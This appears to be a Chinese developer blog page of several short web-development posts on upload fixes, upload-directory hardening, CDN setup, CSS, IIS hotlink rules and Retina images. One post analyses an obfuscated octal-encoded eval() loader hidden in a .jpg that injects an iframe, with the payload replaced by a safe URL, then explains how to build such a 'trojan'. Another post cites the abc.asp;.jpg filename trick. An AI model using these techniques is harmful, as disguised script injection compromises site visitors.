博客 (19)

UEditor 的 ASP 版本在虚拟空间上传文件失败,提示“上传错误”或“上传失败,请重试”等,是因为其文件上传组件在创建目录时,没有网站目录外的访问权限。


例如上传文件的磁盘保存路径为:

D:\web\sitename\wwwroot\upload\20180523\123.jpg


百度编辑器的上传组件会依次判断以下目录是否存在,不存在则创建:

D:\

D:\web\

D:\web\sitename\

D:\web\sitename\wwwroot\

D:\web\sitename\wwwroot\upload\

D:\web\sitename\wwwroot\upload\20180523\


虚拟空间自动配置的网站根目录可能是:

D:\web\sitename\wwwroot\


所以,判断存在或创建以下目录没有问题:

D:\web\sitename\wwwroot\upload\

D:\web\sitename\wwwroot\upload\20180523\


但判断存在以下目录时会因为权限不足而失败:

D:\

D:\web\

D:\web\sitename\


解决方法是找到文件 asp/Uploader.Class.asp

找到 CheckOrCreatePath 这个 Function,替换为:

Private Function CheckOrCreatePath( ByVal path )    
   Set fs = Server.CreateObject("Scripting.FileSystemObject")    
   Dim parts    
   Dim root : root = Server.mappath("/") & "\"    
   parts = Split( Replace(path, root, ""), "\" )    
   path = root    
   For Each part in parts    
       path = path + part + "\"    
       If fs.FolderExists( path ) = False Then    
           fs.CreateFolder( path )    
       End If    
   Next    
End Function


另外,如果服务端无法通过 Request.Form 来接收该值,把 <form /> 放到 <table /> 外面试试。

或者绑定 contentChange 事件来赋值(不推荐):

ue.addListener("contentChange", function() {
    document.getElementsByName('xxxxxx')[0].value = ue.getContent();
});

此方法的缺点是,不是所有操作都能触发 contentChange 事件,比如剪切、上传图片等。

改进方法(推荐):在 form 提交之前赋值。

xoyozo 7 年前
4,775

在网站开发过程中遇到上传图片等文件的功能,需要在服务器上设置该目录可写入,并且必须防止被上传 .php 等可执行的脚本文件。

根据文件所有者的不同,我们分两种情况讨论:

一、程序上传的用户与执行 PHP 的用户不同(例如程序代码通过 SSH 上传(root 用户),而 PHP 以 www 身份运行)

由于 Linux 上的文件默认权限是 644,目录默认权限是 755,所以在这种情况下,PHP 不能修改 root 上传的程序文件,也不能将客户端上传的图片文件保存到服务器上。

例如我们将客户端上传的文件指定到 /upload/ 目录,那么,

第 1 步,赋予它写入权限:

chmod 777 upload

递归所有子目录请加 -R 参数,但会将文件也更改为 777,赋予了执行权限,这是不建议的。文件若需写入权限请设为 666。

第 2 步,设置该目录下不允许执行 PHP:

我们无法保证客户端上传完全符合我们要求的文件,那么必须禁止任何文件的执行权限。(此处指 PHP 的执行权限,注意与 sh 执行权限的区别,后者由 chmod 命令修改)

nginx 的 .conf 文件配置示例:

location ~ /upload/.*\.(php|php5)?$
{
    deny all;
}

Apache 的 .htaccess 文件配置示例:

RewriteRule upload/(.*).(php)$ – [F]

特别注意:上面的代码必须加在 PHP 引用配置的上方才有效(如 nginx 的 PHP 引用配置 include enable-php-**.conf;

默认 Linux 系统是大小写敏感的,所以规则中的正则表达式无须忽略大小写(但必须与实际的目录或文件名大小写一致),因为 MIME 类型中设置的是小写的 .php,那么类似大写的 .PHP 文件是不被 php-fpm 解释的,结果是被当作普通文本返回到客户端。

提问:有些目录需要设置为可写入,但里面还有正常的 php 文件,禁止执行会有问题吗?(例如 Discuz! 的 config 目录,ThinkPHP 的 Runtime 目录)

解答:以 Discuz! 为例,config 下面虽然有 config_*.php 等配置文件,但这些文件并非直接供客户端浏览,而是被其它 .php 文件引用(include 方式、IO 方式等),当 config 目录禁止执行 PHP 后并不会对它们造成影响。

我们在开发程序的过程中应避免在允许写入的目录下放置直接供客户端浏览的 .php 文件

二、程序上传的用户与执行 PHP 的用户相同(例如程序代码通过 FTP 上传,且和 PHP 一样,都使用 www 用户)

常见于虚拟空间。这种情况下,通过 PHP 上传的文件可以保存到该网站下面的任何目录下(甚至是网站目录之外,即传说中的跨站),原因大家都懂,默认 755 中第一个是“7”,即所有者拥有写入权限。

因此,除了做到上述设置,我们必须严格控制客户端上传文件的保存路径,做到以下几点:

必须更改客户端上传的文件名,而非直接使用原文件名;

不得从客户端文件名获取扩展名,或者只控制允许的后缀名。

最可靠的文件类型判别方式是分析文件签名,参考:文件签名表,以防篡改后缀名欺骗。

举个早期的栗子:上传文件名为 abc.asp;.jpg,未改文件名保存到服务器,浏览器直接访问该文件,IIS 6 当作 abc.asp 来解析。


xoyozo 7 年前
9,226

ThoughtWorks.QRCodeZXing.Net
生成方式以指定的码元大小、版本、模式、纠错级别等信息来确定最终生成的图片大小指定图片大小后,自动调整码元大小、出血*
关于图片尺寸不能直接确定最终生成的二维码图片的尺寸,可以先反向估算码元大小,再微调码元大小,直到不小于目标尺寸,如果必须严格限制尺寸,建议在 jpg 方式处理,因为 png 二维码的每个像素点非 0 即 1,在小尺寸的情况下会导致无法识别。(涉及到多次生成二维码,请斟酌性能消耗)生成二维码时即指定图片大小,但会留白,比较难以掌控实际效果
"BUG"右边和下边有多余 1 像素需要手动去除虽然可以设置参数 EncodeHintType.MARGIN,但还是没有达到预期的效果(网上有解析原因,请自行搜索)
……

*出血:为了提高二维码识别度,在生成的二维码四周留出若干码元(建议 4 个)空白。

更多

使用 ThoughtWorks.QRCode 生成二维码

使用 ZXing.Net 生成二维码







xoyozo 7 年前
6,263

一、在 OSS 中新建一个 Bucket,获得一个 OSS 域名(外网域名例:bucketname.oss-cn-hangzhou.aliyuncs.com)

此时不需要绑定自己的域名,如果我们的域名绑在 OSS 上,产生的费用会比绑在 CDN 上高许多。

二、在 CDN 中添加新域名,加速域名就是自己的域名(如:cdn.xoyozo.net),业务类型是“图片小文件”,源站类型是“OSS 域名”,把刚才的 OSS 域名复制到此处。

三、此时管理这个 CDN 域名可以看到域名信息中的“源站设置”,类似:bucketname.oss-cn-hangzhou.aliyuncs.com,这样只实现了 CDN 的效果,我们把它修改为 bucketname.img-cn-hangzhou.aliyuncs.com,这样我们就可以在使用图片时通过添加 @ 符号的方式任意获取缩略图了。

四、同样能在这个页面看到 CNAME 有一个类似 cdn.xoyozo.net.w.kunlun*.com 的域名,将我们的 cdn.xoyozo.net 作 CNAME 解析到这个域名上即可。

这样,在 OSS 上的一张图片,如:http://bucketname.oss-cn-hangzhou.aliyuncs.com/abc/123.jpg 就可以通过 http://cdn.xoyozo.net/abc/123.jpg@100w_100h_90Q.jpg 的方式来获取指定缩略图了。

查看如何通过地址栏带参对图片进行裁剪

xoyozo 8 年前
7,198

有个案例:一张矩形照片头像要用圆形加边框的方式显示到页面上,并且当鼠标移到上面时,边框不动,图像会在边框内部渐变放大一些。

很容易地,我们想到这样的布局:

<style>
  #div_face { width: 100px; height: 100px; border: 3px solid #CCC; border-radius: 50%; overflow: hidden; }
  #div_face img { width: 100px; height: 100px; transition: all .5s ease-out; }
  #div_face img:hover { transform: matrix(1.04,0,0,1.04,0,0); }
</style>
<div id="div_face">
  <img src="/App_Themes/2016/images/temp.jpg" />
</div>

可是……渐变过程中竟然变回矩形了,动画结束又恢复正常。于是改进了一下:

<style>
  #div_face { position: relative; width: 100px; height: 100px; border: 3px solid #CCC; border-radius: 50%; overflow: hidden; z-index: 1; }
  #div_face img { width: 100px; height: 100px; transition: all .5s ease-out; z-index: 0; }
  #div_face img:hover { transform: matrix(1.04,0,0,1.04,0,0); }
</style>

搞定!

xoyozo 9 年前
4,800

本文适用于 IIS 7, IIS 7.5, IIS 8, IIS 8.5, IIS 10 等 Web 服务器,IIS 6(Windows Server 2003)用户请查阅 ISAPI_Rewrite。

在 IIS 中要实现 URL 重写,需要下载并安装 URL Rewrite 组件,http://www.iis.net/downloads/microsoft/url-rewrite

IIS 管理器中选中任意网站,主窗口可见“URL 重写”,双击打开。(如果你想配置这台服务器的所有网站有效,直接选中左侧菜单中的服务器名,打开“URL 重写”即可。)

右侧“添加规则...”,选择“入站规则”中的“空白规则”,确定。

填写规则名称,在“匹配 URL”框中选择“与模式匹配”,根据自己的需求选择“正则表达式”、“通配符”或“完全匹配”,“模式”中填写要防盗链的文件路径规则,例如正则表达式 ^.*\.(jpg|png)$ 将匹配所有目录下的 .jpg 和 .png 文件。

接下来将设置图片在允许的域名下显示。

在“条件”框中选择“全部匹配”,点击“添加”,“条件输入”中填写“{HTTP_REFERER}”(不含引号,含花括号),表示判断 HTTP 请求中 Header 的 Referer。选择“与模式不匹配”,模式中填写匹配规则,如 ^$ 表示允许 Referer 为空(如直接从浏览器打开的情况),再加一个规则 ^https?://([^/]*\.)?(xoyozo.net|himiao.com)/.*$ 表示允许在 xoyozo.net 和 himiao.com 这两个域名下显示图片。当然如果你有很多域名或需要设置不同的规则,可以继续添加,但最好把访问量大的规则移到前面,从而减少系统匹配次数,提高访问效率。

最后,在“操作”框中设置你想要的处理方式,可以是“重定向”到一张防盗链提醒的图片上(推荐类型临时 307),也可以自定义响应,例如,状态代码(403),子代码(0),原因(Forbidden: Access is denied.),描述(You do not have permission to view this directory or page using the credentials that you supplied.),查看 HTTP 状态代码

如果你是配置某个网站的“URL 重写”,那么在网站根目录下的 web.config 文件中,<system.webServer /> 节点下可以看到刚刚配置的规则,例如:

<rewrite>
  <rules>
    <rule name="RequestBlockingRule1" stopProcessing="true">
      <match url="^.*\.(jpg|png)$" />
      <conditions>
        <add input="{HTTP_REFERER}" pattern="^https?://([^/]*\.)?(xoyozo.net|himiao.com)/.*$" negate="true" />
        <add input="{HTTP_REFERER}" pattern="^$" negate="true" />
      </conditions>
      <action type="Redirect" url="http://42.96.165.253/logo2013.png" redirectType="Temporary" />
    </rule>
  </rules>
</rewrite>
xoyozo 9 年前
6,906

Apple’s newest devices feature the Retina Display, a screen that packs double as many pixels into the same space as older devices. For designers this immediately brings up the question, “What can I do to make my content look outstanding on these new iPads and iPhones?”. First there are a few tough questions to consider, but then this guide will help you get started making your websites and web apps look amazingly sharp with Retina images!

retina image comparison

Things to Consider When Adding Retina Images

The main issue with adding retina images is that the images are double as large and will take up extra bandwidth (this won’t be an issue for actual iOS apps, but this guide is covering web sites & web apps only). If your site is mostly used on-the-go over a 3G network it may not be wise to make all your graphics high-definition, but maybe choose only a select few important images. If you’re creating something that will be used more often on a WI-FI connection or have an application that is deserving of the extra wait for hi-res graphics these steps below will help you target only hi-res capable devices.

Simple Retina Images

The basic concept of a Retina image is that your taking a larger image, with double the amount of pixels that your image will be displayed at (e.g 200 x 200 pixels), and setting the image to fill half of that space (100 x 100 pixels). This can be done manually by setting the height and width in HTML to half the size of your image file.

<img src="my200x200image.jpg" width="100" height="100">

If you’d like to do something more advanced keep reading below for how you can apply this technique using scripting.

Creating Retina Icons for Your Website

When users add your website or web app to their homescreen it will be represented by an icon. These sizes for regular and Retina icons (from Apple) are as follows:
ios icon samples

iPhone 57 x 57
Retina iPhone 114 x 114
iPad 72 x 72
Retina iPad 144 x 144

For each of these images you create you can link them in the head of your document like this (if you want the device to add the round corners remove -precomposed):

<link href="touch-icon-iphone.png" rel="apple-touch-icon-precomposed" />
<link href="touch-icon-ipad.png" rel="apple-touch-icon-precomposed" sizes="72x72" />
<link href="touch-icon-iphone4.png" rel="apple-touch-icon-precomposed" sizes="114x114" />
<link href="touch-icon-ipad3.png" rel="apple-touch-icon-precomposed" sizes="144x144" />

If the correct size isn’t specified the device will use the smallest icon that is larger than the recommended size (i.e. if you left out the 114px the iPhone 4 would use the 144px icon).

Retina Background Images

Background images that are specified in your CSS can be swapped out using media queries. You’ll first want to generate two versions of each image. For example ‘bgPattern.png’ at 100px x 100px and ‘bgPattern@2x.png’ at 200px x 200px. It will be useful to have a standard naming convention such as adding @2x for these retina images. To add the new @2x image to your site simply add in the media query below (You can add any additional styles that have background images within the braces of the same media query):

.repeatingPattern {
     background: url(../images/bgPattern.png) repeat;
     background-size: 100px 100px;
}

@media only screen and (-webkit-min-device-pixel-ratio: 2) {
     .repeatingPattern {
          background: url(../images/bgPattern@2x.png) repeat;
     }
}

JavaScript for Retina Image Replacement

For your retina images that aren’t backgrounds the best option seems to be either creating graphics with CSS, using SVG, or replacing your images with JavaScript. Just like the background images, you’ll want to create a normal image and one ‘@2x’ image. Then with JavaScript you can detect if the pixel ratio of the browser is 2x, just like you did with the media query:

if (window.devicePixelRatio == 2) {

//Replace your img src with the new retina image

}

If you’re using jQuery you could quickly replace all your images like this very basic example below. It’s a good idea to add a class to identify the images with hi-res versions so you don’t replace any others by mistake. I’ve added a class=”hires” for this example. Also make sure you have the standard (non-retina) image height and width set in the HTML:

<img class="hires" alt="" src="search.png" width="100" height="100" />
<script type="text/javascript">
$(function () {

	if (window.devicePixelRatio == 2) {

          var images = $("img.hires");

          // loop through the images and make them hi-res
          for(var i = 0; i < images.length; i++) {

            // create new image name
            var imageType = images[i].src.substr(-4);
            var imageName = images[i].src.substr(0, images[i].src.length - 4);
            imageName += "@2x" + imageType;

            //rename image
            images[i].src = imageName;
          }
     }

});
</script>

Server-Side Retina Images

If you’d like to implement a server-side retina image solution, I recommend checking out Jeremy Worboys’ Retina Images (which he also posted in the comments below). His solution uses PHP code to determine which image should be served. The benefit of this solution is that it doesn’t have to replace the small image with the retina one so you’re using less bandwidth, especially if you have lots of images that you’re replacing.

Website Optimization for Retina Displays

If you’re looking for additional information on creating Retina images, I’ve recently had a short book published called Website Optimization for Retina Displays that covers a range of related topics. It contains some of what is above, but also includes samples for many different situations for adding Retina images. It explains the basics of creating Retina images, backgrounds, sprites, and borders. Then it talks about using media queries, creating graphics with CSS, embedding fonts, creating app icons, and more tips for creating Retina websites.

K
转自 Kyle Larson 13 年前
4,365
探索

今天访问某 asp 网站时发现不对劲,一看源文件原来网页被挂马了,仔细查看源代码发现:

<script>document.write("<scri");</script>pt src="images/banner.jpg"></script>

这段代码调用了 banner.jpg 这个 js 文件。用记事本打开这个文件发现以下内容:(木马内容已替换成安全内容)

eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51")

代码非常整齐,立刻怀疑是 ascii 码的八进制代码。于是解码之,就看到了:(木马内容已替换成安全内容)

document.write('<iframe src=https://xoyozo.net></iframe>')

至此,整个流程已非常清晰了。

JS 相关函数

八进制转化为十进制

var a = '144';
alert(parseInt(a, 8));  // 输出为 100

十进制转化为八进制

var a = 100;
alert(a.toString(8)); // 输出为 144

ASCII 码转化为字符

var a = 100;
alert(String.fromCharCode(a));  // 输出为 d

字符转化为 ASCII 码

var a = "d";
alert(a.charCodeAt(a));  // 输出为 100

如果用 alert 直接输出编码后的代码,看到的却是原码,下面提供HTML编码和解码:

function HTMLEncode(input) {
  var converter = document.createElement("DIV");
  converter.innerText = input;
  var output = converter.innerHTML;
  converter = null;
  return output;
}

function HTMLDecode(input) {
  var converter = document.createElement("DIV");
  converter.innerHTML = input;
  var output = converter.innerText;
  converter = null;
  return output;
}

您可以比较一下区别:

var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(a);
var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(HTMLEncode(a));
为我所用

现在完全可以实现宿主页面执行嵌套 iframe 的效果了。如果需要更隐蔽,可以给 <iframe/> 加上尺寸属性。下面一起来制作一个简单的木马:把

document.write('<iframe src=https://xoyozo.net></iframe>')

编码为

\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51

的代码为

var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
var b = "";
for (var i = 0; i < a.length; i++) {
  b += "\\" + a.charCodeAt(i).toString(8);
}
document.write(HTMLEncode(b));

然后加上 eval() 方法,保存为 .jpg 文件,再通过文章开始介绍的方法调用就行了。

xoyozo 15 年前
5,350

     今天算是长见识了,项目发布到服务器上面了,但是客户在使用的时候发现,只要进入新增页面和修改页面。再进行操作就会自动跳转到登陆页面(我设置了session保存用户登陆信息),而别的页面就不会出现这个问题。从下午开始找个问题,开始以为不知道只有这两个页面有问题,以为全部都是这样的问题,是IIS的设置问题。我将session的超时时间设置了3个小时,发现还是会跳转到登陆页面。也在web.config文件里面设置了超时时间。但是效果还是一样的。自己测试了一下午,发现只有新增页面和修改页面会出现这样的问题(本机测试没问题/测试服务器上测试也没问题)。经过几次实验,发现确实只有这两个页面会有问题,那就可以断定:不是IIS设置问题,也不是web.config的问题。本地调试也不出现这样的情况,没办法,只能等客户下班之后,没人用了才到正式服务器上去慢慢的调试,最后想个笨办法,将其中一个页面的.cs文件里面的代码一句一句的删掉,可没想到我都将cs文件里面的代码全部删除了,还是会出现这样的情况,我当时就纳闷了。不是事件的问题,难道是HTML页面出了问题???

    既然耐着性子删了cs文件的代码。我就继续删!将aspx页面里面的HTML代码和JS代码也一个一个的删掉,一个一个控件删掉测试,从下午上班一直测试到晚上11点,眼睛都看花了,终于,在我将aspx页面的其中几个控件删除之后发现问题了!页面不跳转了!这下来劲了,肯定是这几个控件的原因,于是乎,我就一个一个控件还原回去,不跳转!继续还原!!当我还原到<img src="" >这个控件的时候测试,发现问题了!只要我一加上<img src="">这个标签!页面就跳转到登陆页面了。问题肯定出在这了!但是我又想不通了,为什么就这个HTML标签一加上就会出问题,这应该不关session什么事啊,怎么会加上这个标签页面就直接跳转了呢?

     在网上找了下资料,没找到相关的资料,后来试着将img 标签的src=""加上图片,src="imges/001.jpg" 再测试,发现页面不跳转了!!原来问题出现在这里!

src=""为空的情况下,可能导致session丢失!跟经理说了下这个情况,他也很惊奇还没见过一个HTML标签会导致session丢失的情况,因为在本地和测试服务器上测试的时候都没这样的情况,后来猜测了下,可能是IIS的问题,可能是IIS解析的时候解析到src=""这个地方解析不了,导致程序出问题。但这只是个人猜测,正式服务器上我也没权力当时去打补丁,一个大公司的正式服务器,我要打补丁去了,那他们别的网站和系统不全当机了?所以就只要想了个办法,将src=""里面加上图片,幸好这个img标签是隐藏起来的,加了也不影响界面。呵呵。。。

    最让人郁闷的是我测试的时候是用Symantec pcAnywhere这个软件远程连接到的正式服务器上。反应慢得可以,简直比电脑没装显卡驱动还慢...唉,不过累也累了,以后碰到这样的情况就有经验了。

    我不知道网上有没有人碰到过跟我一样的情况;如果碰到了,希望能给你带来点灵感。哇哈哈。。。

k
转自 kyne 15 年前
5,819